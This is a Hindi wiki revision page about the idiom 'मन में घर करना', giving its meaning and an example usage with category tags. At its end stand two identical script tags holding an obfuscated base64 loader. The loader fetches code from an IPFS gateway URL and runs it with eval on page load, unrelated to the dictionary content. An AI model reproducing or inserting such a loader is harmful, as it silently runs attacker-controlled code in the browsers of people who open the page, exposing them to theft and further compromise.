बंटी कुमार (चर्चा | योगदान) |
व्यवस्थापन (चर्चा | योगदान) छो (Text replacement - "==संबंधित लेख== {{कहावत लोकोक्ति मुहावरे}}" to "==संबंधित लेख== {{कहावत लोकोक्ति मुहावरे}}{{कहावत लो�) |
||
(इसी सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया) | |||
पंक्ति 4: | पंक्ति 4: | ||
− | '''प्रयोग'''- अपने पिता के वचनों को सत्य करने के लिए वे सीता और लक्ष्मण के साथ केवल दंडक वन में ही नहीं पैठे | + | '''प्रयोग'''- अपने पिता के वचनों को सत्य करने के लिए वे सीता और लक्ष्मण के साथ केवल दंडक वन में ही नहीं पैठे वरन् अपने इस सत्य व्यवहार से उन्होंने सज्जनों के मन में भी घर कर लिया। ([[सीताराम चतुर्वेदी]]) |
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
− | {{कहावत लोकोक्ति मुहावरे}} | + | {{कहावत लोकोक्ति मुहावरे}}{{कहावत लोकोक्ति मुहावरे2}} |
[[Category:हिन्दी मुहावरे एवं लोकोक्ति कोश]] | [[Category:हिन्दी मुहावरे एवं लोकोक्ति कोश]] | ||
[[Category:कहावत लोकोक्ति मुहावरे]] | [[Category:कहावत लोकोक्ति मुहावरे]] | ||
[[Category:साहित्य कोश]] | [[Category:साहित्य कोश]] | ||
__INDEX__ | __INDEX__ |
07:31, 25 अप्रैल 2018 के समय का अवतरण
मन में घर करना एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।
अर्थ- मन में स्थान बना लेना, किसी का आदर-भाव या प्रेम -भाव प्राप्त करना।
प्रयोग- अपने पिता के वचनों को सत्य करने के लिए वे सीता और लक्ष्मण के साथ केवल दंडक वन में ही नहीं पैठे वरन् अपने इस सत्य व्यवहार से उन्होंने सज्जनों के मन में भी घर कर लिया। (सीताराम चतुर्वेदी)
टीका टिप्पणी और संदर्भ
संबंधित लेख
कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>